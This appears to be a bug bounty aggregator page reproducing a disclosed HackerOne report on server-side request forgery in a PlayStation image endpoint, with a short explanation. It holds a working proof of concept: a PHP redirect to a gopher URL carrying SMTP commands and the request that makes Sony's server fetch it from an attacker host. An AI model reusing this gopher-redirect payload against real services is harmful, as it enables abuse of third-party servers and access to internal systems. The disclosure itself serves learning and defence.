Skip to content
SSRF Disclosed report Intermediate

SSRF on image renderer

The image rendering endpoint accepted a user-supplied URL and followed redirects, including to the gopher protocol. An attacker could make the server send requests to arbitrary hosts, demonstrated by delivering SMTP messages from a PlayStation EC2 instance.

hogarth45 Follow

Originally disclosed on HackerOne

Bounty$1,000 High View original
  • Triaged in 17 hours
  • Fixed in 27 days
  • Paid in 20 hours
  • Disclosed after 10 months

Summary by the program

Summary:

image.api.np.km.playstation.net allows image urls to be passed via the image parameter

It is possible to use this endpoint to send Gopher requests that result in SMTP messages being sent

Steps To Reproduce:

  1. Create a Gopher redirect PHP file to save to your server
<?php
        $commands = array(
                'HELO test.org',
                'MAIL FROM: <[email protected]>',
                'RCPT TO: <[email protected]>',
                'DATA',
                'Test mail',
                '.'
        );

        $payload = implode('%0A', $commands);

        header('Location: gopher://test.smtp.org:25/_'.$payload);
?>
  1. Point the URL to your file location via the image parameter

https://image.api.np.km.playstation.net/images/?format=png&image=http%3A%2F%2Fblackdoorsec.net/gopher3.php

It will return a 404 message, but you will see that your server is hit

  1. Check the log http://test.smtp.org/log

Confirms the ec2 instance sending the email

Supporting Material/References:

GET /images/?format=png&image=http%3A%2F%2Fblackdoorsec.net/gopher3.php HTTP/1.1
Host: image.api.np.km.playstation.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

Related issue https://hackerone.com/reports/115748

Impact

craft server requests using sony servers

The original report as published on HackerOne, by hogarth45. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the image fetcher followed redirects without restricting the destination scheme or host, allowing a redirect to a gopher URL.

Impact

An attacker could craft server-side requests from PlayStation infrastructure to arbitrary hosts, including sending email through third-party SMTP servers.

What the attacker needed

Control of a server to host the redirect; reachable target SMTP server

How it was found

  1. Host a PHP file on your own server that redirects to a gopher URL containing SMTP commands.
  2. Pass the address of that file in the image parameter of the image endpoint.
  3. Observe that the endpoint returns an error but your server is still contacted.
  4. Check the target mail server log to confirm the message arrived from the service's EC2 instance.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The service fetches images from a web address you give it. It did not check where that address pointed, so it could be told to follow a redirect to a different protocol and contact an unrelated mail server. This lets an attacker use the company's servers to send traffic on their behalf.

What is SSRF?

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.

More by hogarth45

View all

7 more disclosed reports, best first.

More from PlayStation

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Server-side request forgery (SSRF)

The lesson behind this report.

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.